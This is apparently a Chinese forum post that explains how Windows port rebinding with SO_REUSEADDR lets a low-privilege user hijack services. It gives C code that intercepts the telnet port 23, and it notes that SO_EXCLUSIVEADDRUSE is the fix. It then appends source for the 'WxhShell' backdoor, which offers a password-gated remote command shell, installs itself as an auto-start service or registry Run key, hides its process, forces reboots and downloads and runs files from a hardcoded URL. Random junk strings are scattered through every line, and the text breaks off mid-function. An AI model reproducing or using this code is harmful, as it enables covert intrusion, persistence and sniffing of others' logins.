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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _$&C$q$1y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T#HW{3  
PWch9p0U  
  saddr.sin_family = AF_INET; hkifd4#  
S< TUZ /;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b&k !DeE  
Fb#_(I[aj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $~M#msK9  
Xo[={2_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hL:n9G  
Zy0u@``  
  这意味着什么?意味着可以进行如下的攻击: 'gYUyl  
8BnI0l=\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #h'F6  
98u$5=Z' /  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3nVdws  
Sp+ zP-3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yLfb'Ba  
f?O?2g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UR')) 1n  
jOs&E^">&B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DyiyH%SSD  
^6=y4t=%F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I_ "1.  
hS) X`M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o#V}l^uU=  
w}="}Cb  
  #include yyZV/ x~  
  #include <Wgp$qt;  
  #include h^E"eC  
  #include    5[Sa7Mk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {[V<mT2/  
  int main() -LAYj:4  
  { feOX]g#  
  WORD wVersionRequested; k&-SB -  
  DWORD ret; _U%a`%tU.  
  WSADATA wsaData; 4L(/Z}(  
  BOOL val; #.|ef dsG  
  SOCKADDR_IN saddr; Y%AVC9(  
  SOCKADDR_IN scaddr; QkJAjmB  
  int err; H$2<N@'4z  
  SOCKET s; j2A Z.s  
  SOCKET sc; APydZ  
  int caddsize; &)4#0L4  
  HANDLE mt; *c<=IcA  
  DWORD tid;   1"pvrX}  
  wVersionRequested = MAKEWORD( 2, 2 ); `9IG//  
  err = WSAStartup( wVersionRequested, &wsaData ); 1n+C'P"  
  if ( err != 0 ) { $n |)M+d  
  printf("error!WSAStartup failed!\n"); 15NeC7GAh  
  return -1; 8 KH|:>s=  
  } <Sm@ !yx  
  saddr.sin_family = AF_INET; xY] Y  
   AN-qcp6=o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  u>R2:i  
.xnJT2uu'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6_KO6O7g  
  saddr.sin_port = htons(23); zo!e<>o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b^WTX  
  { !Zf< j  
  printf("error!socket failed!\n"); m0*bz5  
  return -1; .UJp#/EHs  
  } /G}TPXA  
  val = TRUE; =Kf]ZKj)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6Z2a5zO8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b#XY.+ *0  
  { q]}fW)r  
  printf("error!setsockopt failed!\n"); (-'Jf#&X^  
  return -1; %kB84dE  
  } KmUH([#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0O,Q]P 82f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B.O &KRo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -u!{8S~wA  
AXK6AZjX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ' 3h"Ol{b  
  { v[P $c$Xi  
  ret=GetLastError(); ?<mxv"  
  printf("error!bind failed!\n"); zTP|H5HyK  
  return -1; =t,}I\_^c  
  } gK8E|f-z  
  listen(s,2); IYZ$a/{P  
  while(1) s2`:NS  
  { Gp&o  
  caddsize = sizeof(scaddr); jv<C#0E^  
  //接受连接请求 ;:2:f1_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); > St]MS  
  if(sc!=INVALID_SOCKET) o \r6 iO  
  { `dp]N0nz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {`X O3  
  if(mt==NULL) luPj'd?  
  { f9ziSD#  
  printf("Thread Creat Failed!\n"); G]DSwtB?D  
  break; P&3Z,f0  
  } nqnVFkGd9  
  } 'h]sq {  
  CloseHandle(mt); qj$6/V|D  
  } 5(+9( \x  
  closesocket(s); N^Bjw?3  
  WSACleanup(); e<.O'!=7Y  
  return 0; v;=| -y  
  }   oZ CvEVUk  
  DWORD WINAPI ClientThread(LPVOID lpParam) XkGS3EY  
  { Uo D@ix&0  
  SOCKET ss = (SOCKET)lpParam; U/p|X)  
  SOCKET sc; N\f={O8E  
  unsigned char buf[4096]; F4o)6+YM   
  SOCKADDR_IN saddr; b@p3iq:  
  long num; IRq@~vdt)  
  DWORD val; 7BNu.5*y  
  DWORD ret; +?&|p0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *{#l0My  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iUH{rh!  
  saddr.sin_family = AF_INET; 6/4?x)l3-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QOfqW@g  
  saddr.sin_port = htons(23); M@ TXzn!&o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5:T)hoF@  
  { [UW%(N  
  printf("error!socket failed!\n"); &a/F"?9jL  
  return -1; $t1XoL  
  } #0F6{&; M  
  val = 100; )^D:VY9 2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X~#jx(0_  
  { |o5F%1o  
  ret = GetLastError(); [0lu&ak[&  
  return -1; M8,_E\*  
  } -\2T(3P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0}:wM':G  
  { Wwf],Ya  
  ret = GetLastError(); {&qB!axj  
  return -1; %XU V[L}  
  } eHt |O~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gPA), NrN  
  { a YC[15?'  
  printf("error!socket connect failed!\n"); yn;sd+:z  
  closesocket(sc); 6q8b>LG|  
  closesocket(ss); s/" l ?d  
  return -1; X-mhz3Q&a  
  } \i}:Vb(^  
  while(1) kv)IG$S 0  
  { "=/YPw^0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ar!`8"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LYV\|a{Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z~WUILx,  
  num = recv(ss,buf,4096,0); O0i)Iu(J7;  
  if(num>0) Zd Li<1P*d  
  send(sc,buf,num,0); u\uYq  
  else if(num==0) KK|AXoBf  
  break; FVw4BUOmi  
  num = recv(sc,buf,4096,0); $QbaPmHW  
  if(num>0) 8rXQK|A  
  send(ss,buf,num,0); P%nN#Qm  
  else if(num==0) \A ?B{*  
  break; #+ <"`}]N  
  } jJ B+UF=  
  closesocket(ss); iFi6,V*PRt  
  closesocket(sc); [*jvvkAp  
  return 0 ; >w}5\ 4j  
  } g`69 0  
pod=|(c  
Z_tK3kQa@&  
========================================================== C'a%piX  
UmC_C[/n?  
下边附上一个代码,,WXhSHELL FK2* O  
=HGC<#  
========================================================== 7"iUyZ(  
 Q9!T@  
#include "stdafx.h" ,$xV&w8f\"  
[RqL0EP  
#include <stdio.h>  #"6O3.P  
#include <string.h> M y vyp  
#include <windows.h> w}`TJijl  
#include <winsock2.h> M zWVsV  
#include <winsvc.h> <EHgPlQn  
#include <urlmon.h> j-% vLL/  
(#t"u`_Ee  
#pragma comment (lib, "Ws2_32.lib") Y<"BhE  
#pragma comment (lib, "urlmon.lib") { !;I4W%!  
!T<4em8  
#define MAX_USER   100 // 最大客户端连接数 cKbjW  
#define BUF_SOCK   200 // sock buffer v*pN~}5  
#define KEY_BUFF   255 // 输入 buffer aT[qJbp1  
\N[Z58R !z  
#define REBOOT     0   // 重启 bJ$6[H-:  
#define SHUTDOWN   1   // 关机 XlPi)3m4/S  
wTu_Am  
#define DEF_PORT   5000 // 监听端口 ;nDCyn4i]  
C }= *%S  
#define REG_LEN     16   // 注册表键长度 }#0i1]n$D  
#define SVC_LEN     80   // NT服务名长度 S>! YBzm&X  
%O=U|tuc$  
// 从dll定义API G(n e8L8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6w )mo)<X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3.c0PRZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nNN~Z'bG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s\CZ os&  
</.9QV  
// wxhshell配置信息 h}T+M BA%  
struct WSCFG { ) Ekd  
  int ws_port;         // 监听端口 O>h,u[0  
  char ws_passstr[REG_LEN]; // 口令 =tS1|_  
  int ws_autoins;       // 安装标记, 1=yes 0=no i$[wkQ>$  
  char ws_regname[REG_LEN]; // 注册表键名 ;F/yS2p  
  char ws_svcname[REG_LEN]; // 服务名 ]WO0v`xh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^uDNArDmj5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;aY.CgX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tJ_6dH8Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sv g`s,g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *i=+["A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hJ>Kfm  
Y%i=u:}fm  
}; e Qz_,vTk  
us_o{  
// default Wxhshell configuration 4Z& i\#Q  
struct WSCFG wscfg={DEF_PORT, _`H2CXG g  
    "xuhuanlingzhe", (D?%(f  
    1, X:un4B}O  
    "Wxhshell", HkP')= sa  
    "Wxhshell", #lf3$Tm D  
            "WxhShell Service", _0v+g1x  
    "Wrsky Windows CmdShell Service", BJ c'4>  
    "Please Input Your Password: ", z)Yk&;XC  
  1, &?#,rEw<x  
  "http://www.wrsky.com/wxhshell.exe", T~238C{vh  
  "Wxhshell.exe" (Ov{gj^  
    }; H(JgqbFB*  
tfSY(cXg'T  
// 消息定义模块 >I~$h,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WeqE 9@V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uA'S8b%C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &pL.hM^  
char *msg_ws_ext="\n\rExit."; Y`O"+Jr  
char *msg_ws_end="\n\rQuit."; ir72fSe  
char *msg_ws_boot="\n\rReboot..."; ')bas#=uP  
char *msg_ws_poff="\n\rShutdown..."; C9,|G7~*q  
char *msg_ws_down="\n\rSave to "; TjU g8k  
fAW(  
char *msg_ws_err="\n\rErr!";  ]\qbe  
char *msg_ws_ok="\n\rOK!"; 4;rt|X77  
(P+TOu-y\  
char ExeFile[MAX_PATH]; ke+3J\;>  
int nUser = 0; @1`!}.Tk  
HANDLE handles[MAX_USER]; n!Ic.T3PA  
int OsIsNt; up# R9 d|  
<l:c O$ m  
SERVICE_STATUS       serviceStatus; k3pY3TA@w+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ut<0-  
jHU5>Gt-}  
// 函数声明 N=JZtf/i  
int Install(void); oPqWL9]  
int Uninstall(void); E`"<t:RzF  
int DownloadFile(char *sURL, SOCKET wsh); z'W8t|m}Pb  
int Boot(int flag); L.E6~Rv  
void HideProc(void); y7x&/2  
int GetOsVer(void); }o'WR'LX  
int Wxhshell(SOCKET wsl); E#0_y4  
void TalkWithClient(void *cs); *VbB'u:  
int CmdShell(SOCKET sock); A;06Zrf1  
int StartFromService(void); $ykujyngS4  
int StartWxhshell(LPSTR lpCmdLine); ^|P/D  
\8KAK3i'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g }%$VUSA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T[?toqkD>z  
M6j!_0j  
// 数据结构和表定义 "-WEUz  
SERVICE_TABLE_ENTRY DispatchTable[] = "%mu~&Ga  
{ w~3~:w$  
{wscfg.ws_svcname, NTServiceMain}, e hgUp =  
{NULL, NULL} e[>c>F^  
}; 9On0om>  
60iMfc T  
// 自我安装 MnQ4,+ji-  
int Install(void) w@jC#E\  
{ Z [aKic  
  char svExeFile[MAX_PATH]; @_ZE_n  
  HKEY key; \qo}}I>e  
  strcpy(svExeFile,ExeFile); |e]2 >NjQa  
;%wY fq~P  
// 如果是win9x系统,修改注册表设为自启动 wqZ*$M   
if(!OsIsNt) { %VSjMZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )R- e^Cb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @[s+5_9nk  
  RegCloseKey(key); CY4ntd4M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,drcJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q_R^Q>ZIe  
  RegCloseKey(key); )J"*[[e  
  return 0;  t=6[FK  
    } ^w tr~D|  
  } #guq/g$  
} d4r@Gx%BE  
else { Za>0&Fnf  
O 8\wH  
// 如果是NT以上系统,安装为系统服务 KiaQ^[/q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V+Tu{fFF7E  
if (schSCManager!=0) HTa]T'  
{ '1Z3MjX  
  SC_HANDLE schService = CreateService *=KX0%3  
  ( `El)uTnuZ[  
  schSCManager, F.DR Gi.i  
  wscfg.ws_svcname, U.kTdNSp  
  wscfg.ws_svcdisp, kgQyG[u  
  SERVICE_ALL_ACCESS, |_H{ B+.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %"C%pA  
  SERVICE_AUTO_START, 6z-&Zu7@  
  SERVICE_ERROR_NORMAL, oE;SZ"$ x  
  svExeFile, !L ({i')  
  NULL, B S^P&TR!  
  NULL, R|,F C'  
  NULL, rmq^P;At  
  NULL, kvoEnwBe_  
  NULL PAcbC| y  
  ); tnn,lWu|  
  if (schService!=0) ;Q}pmBkqB  
  { EYaX@|)  
  CloseServiceHandle(schService); 4Up3x+bg  
  CloseServiceHandle(schSCManager); jWX^h^n7K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YZHqy++x  
  strcat(svExeFile,wscfg.ws_svcname); 8A,="YIt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hj*Fn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h{BO\^6x  
  RegCloseKey(key); UomO^P  
  return 0; mKh <M)Bz  
    } l0sBXs`3b  
  } @9}SHS  
  CloseServiceHandle(schSCManager); )h&*b9[B=  
} WokQ X"  
} uTq)Ets3  
I~f8+DE)  
return 1; F# a)"$j;  
} $(PWN6{\r^  
"?Mf%u1R  
// 自我卸载 XY*KWO  
int Uninstall(void) I,Z'ed..  
{ {R{Io|   
  HKEY key; ]di9dLT  
|-'.\)7:  
if(!OsIsNt) { xy.di9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /EXub U73  
  RegDeleteValue(key,wscfg.ws_regname); 6lKM5,Oa  
  RegCloseKey(key); Ou'<9m!9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %x5zs ]4^  
  RegDeleteValue(key,wscfg.ws_regname); lDd8dT-Q.  
  RegCloseKey(key); 320g!r  
  return 0; 1qgzb  
  } pSml+A:  
} _;x7vRWmN  
} H>/LC* 8-  
else { &8^1:CcE  
4t<l9Ilp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dqu][~oQ  
if (schSCManager!=0) ?xgrr7  
{ 1MF0HiC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6?X)'  
  if (schService!=0) }K%y'D  
  { _);;@T  
  if(DeleteService(schService)!=0) { V(LE4P 1  
  CloseServiceHandle(schService); f|&ga'5g&  
  CloseServiceHandle(schSCManager); zs_^m1t1s  
  return 0; ?7:?OX  
  } w&E*{{otJ  
  CloseServiceHandle(schService); +#/`4EnI  
  } ,svj(HP$  
  CloseServiceHandle(schSCManager); nG dEJ  
} jRv j:H9  
} FKN!*}3  
:.k)!  
return 1; w=txSF&Qr  
} !UV/p"CfX  
4X prVB  
// 从指定url下载文件 s7~[7  
int DownloadFile(char *sURL, SOCKET wsh) <X{hW^??)  
{ pOz4>R  
  HRESULT hr; Gw;[maM!%`  
char seps[]= "/"; <g^!xX<r?  
char *token; )7j CEA03  
char *file; `PY>p!E  
char myURL[MAX_PATH]; mu!hD^fw  
char myFILE[MAX_PATH]; _#nP->0)  
o5 fXe}pl@  
strcpy(myURL,sURL); KP[H&4eoC  
  token=strtok(myURL,seps); +-|D$@8S  
  while(token!=NULL) nOd'$q  
  { =R>%}5  
    file=token; @YMQbjbr  
  token=strtok(NULL,seps); k$hNibpkt  
  } njk1x  
zJp@\Yo+  
GetCurrentDirectory(MAX_PATH,myFILE); r:&"#F   
strcat(myFILE, "\\"); l9 |x7GB  
strcat(myFILE, file); DB^"iof  
  send(wsh,myFILE,strlen(myFILE),0); l u^fKQ  
send(wsh,"...",3,0); M99gDN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wM^_pah#Y5  
  if(hr==S_OK) kUdl2["MZ  
return 0; !"dbK'jb^  
else 7sQw&yUL)  
return 1; JVORz-uBs  
`xhiG9mz~  
} mh#dnxeR  
g36\%L  
// 系统电源模块  ^vPt Ppt  
int Boot(int flag) F=29"1 ._  
{ @R|Gz/  
  HANDLE hToken; Ua@rp3fr  
  TOKEN_PRIVILEGES tkp; NjCdkT&g  
h9McC3  
  if(OsIsNt) { C^ hHt,&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _/W[=c   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [U]ouh)  
    tkp.PrivilegeCount = 1; %r<c>sFJN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,6zH;fi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ? 9.V@+i  
if(flag==REBOOT) { r 3@Q(Rb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0 gyg  
  return 0; 5!55v  
} ]to"X7/  
else { *aXZONym  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~=Y <B/  
  return 0; gzK"'4`  
}  0x}8}  
  } Y2 &N#~l*  
  else { o@`& h} $  
if(flag==REBOOT) { mGjxc}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i>9/vwe  
  return 0; 8+&] q#W3  
} rAdYBr=0  
else { xg}RpC!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jb' hqz  
  return 0; }mjJglK!N  
} JM#jg-z,~  
} d9XX^nY.  
sW~Z?PFP  
return 1; `eIX*R   
} :\@WY  
<}RU37,W  
// win9x进程隐藏模块 w#Y<~W&  
void HideProc(void) g1Q^x/  
{ G4Zs(:a  
!8"516!d|p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  H}NW?  
  if ( hKernel != NULL ) C7(kV{h$d  
  { j:%~:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @L%9NqE`O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R|T_9/#)  
    FreeLibrary(hKernel); Gd)@PWK  
  } BJ3st  
29K09 0f  
return; D?rQQxb  
} #&G^%1!  
IKM=Q. 7j  
// 获取操作系统版本 z.g'8#@  
int GetOsVer(void) :\Z;FA@g(g  
{ .`!|^h%0  
  OSVERSIONINFO winfo; C#X0Cn0ln  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5Qp5JMK  
  GetVersionEx(&winfo); b|T}mn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;l_%;O5  
  return 1; ,CguY/y  
  else Z8$@}|jN  
  return 0; rN)T xH&*p  
} pR8]HNY0  
4A%O`&eZ  
// 客户端句柄模块 ,jyNV<dI  
int Wxhshell(SOCKET wsl) YMG{xGPtM  
{ 22L#\qVkl  
  SOCKET wsh; XF1x*zc  
  struct sockaddr_in client; f/ 9]o  
  DWORD myID; &oevgG  
8jxgSB",  
  while(nUser<MAX_USER) dOq*W<%  
{ w \pD'1e  
  int nSize=sizeof(client); S @\Pki+n[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aWVJx@f  
  if(wsh==INVALID_SOCKET) return 1; JBdZ]  
0@E[IDmp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \GeUX <Fl  
if(handles[nUser]==0) GEq?^z~i  
  closesocket(wsh); 8=Di+r  
else @`U78)]  
  nUser++; #;U_ L`q  
  } 5AR\'||u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Q1:>i@I|g  
U]dz_%CRP  
  return 0;  *5 FSq  
} yqqP7  
)`Tny]M  
// 关闭 socket 6q?C"\_  
void CloseIt(SOCKET wsh) in-/  
{ Oh<[8S7]C  
closesocket(wsh); I ms?^`N  
nUser--; _ Onsfv  
ExitThread(0); \`r5tQr  
} =PyU9C-@  
GAbX.9[V  
// 客户端请求句柄 5bGV91  
void TalkWithClient(void *cs) DM{ 7x77  
{ -O3^q.   
qHg\n)R"x!  
  SOCKET wsh=(SOCKET)cs; [zIX&fPk$  
  char pwd[SVC_LEN]; !Pt|Hk dr  
  char cmd[KEY_BUFF]; #\iQ`Q<B  
char chr[1]; gIep6nq1`|  
int i,j; O9oVx4=  
$I~=t{;"XV  
  while (nUser < MAX_USER) { S1wt>}w0$  
2pH2s\r<UJ  
if(wscfg.ws_passstr) { +ww paR`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;%odN d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H:4r6-{  
  //ZeroMemory(pwd,KEY_BUFF); &CF74AN#  
      i=0; q .nsGbl  
  while(i<SVC_LEN) { wqyx{W`~w  
%I;ej{*c  
  // 设置超时 O[3J Px  
  fd_set FdRead; yC4JYF]JN  
  struct timeval TimeOut; .l"_f  
  FD_ZERO(&FdRead); rPkV=9ull,  
  FD_SET(wsh,&FdRead); A!H6$-W|p  
  TimeOut.tv_sec=8; Pe!uk4}w  
  TimeOut.tv_usec=0; {-J/ <a@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  .VuZ=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7EOn4I2@[  
c^}gJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k# ZO4  
  pwd=chr[0]; j\f;zb?F  
  if(chr[0]==0xd || chr[0]==0xa) { .@JXV $Z  
  pwd=0; NtkEb :  
  break; }E[S%W[  
  } k]`I 3>/L  
  i++; DoX#+ 07u4  
    } X3%7VFy9  
ko@I]gi2  
  // 如果是非法用户,关闭 socket j! iimdq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;S"^O AM  
} 0Q_AF`"  
:g}WN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 25t2tj@S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,xuqQ;JX  
66fvS}x  
while(1) { IX']s;b  
f}Eoc>n  
  ZeroMemory(cmd,KEY_BUFF); D@!`b6  
`n Y!nh6!  
      // 自动支持客户端 telnet标准   ox{)O/aj  
  j=0; yDWzsA/X  
  while(j<KEY_BUFF) { \,!FL))yC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dh BUMDoB  
  cmd[j]=chr[0]; mNc (  
  if(chr[0]==0xa || chr[0]==0xd) { 7]@vPr;:  
  cmd[j]=0; R#`hT  
  break; ha1 J^e  
  } 5Z ] `n  
  j++; OvX z+C,  
    } A?ma5h  
MM3X! tq  
  // 下载文件 ':R)i.TS  
  if(strstr(cmd,"http://")) { ,6~c0]/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J )oa:Q  
  if(DownloadFile(cmd,wsh)) {UQpD   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e57}.pF^  
  else U`ey7   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L}P<iB   
  } b&"=W9(V  
  else { &q#$SU,$(  
gs_"H  
    switch(cmd[0]) { &"BmCDOq  
  X<Rh-1$8F  
  // 帮助 [(B A:x1  
  case '?': { ib/B!?/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >(ku*  
    break; Fx~=mYU  
  } O _yJR  
  // 安装 w{#K.dx  
  case 'i': { NS6#od ZeV  
    if(Install()) \S[:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rtS(iD@B"  
    else (~?P7RnU%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); INby0S  
    break; bU/5ug.  
    } =SA@3)kHH  
  // 卸载 kG[u$[B  
  case 'r': { 8c`g{ *z  
    if(Uninstall()) sw6]Bc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (=}U2GD*  
    else kLU$8L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tj;<Z.  
    break; }\|$8~  
    } Ytmt+9  
  // 显示 wxhshell 所在路径 fKY6stJE  
  case 'p': { UpL?6)  
    char svExeFile[MAX_PATH]; tu#VZAPW@  
    strcpy(svExeFile,"\n\r"); d&&^_0O  
      strcat(svExeFile,ExeFile); i64a]=  
        send(wsh,svExeFile,strlen(svExeFile),0); Q@6OIE  
    break; %*>=L$A  
    } DlC`GZEtqh  
  // 重启 p 2It/O  
  case 'b': { " |[w.`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \\AufAkJ  
    if(Boot(REBOOT)) cod__.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,-myR1}  
    else { OE]z C  
    closesocket(wsh); I7ZY9W(S  
    ExitThread(0); fdc ?`4  
    } cq>{  
    break; K??%Qh5l+C  
    } }dX[u`zQ  
  // 关机 j$'L-kK+  
  case 'd': { 8VQJUwf;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 57k@] 3 4  
    if(Boot(SHUTDOWN)) 3?iRf6;n  
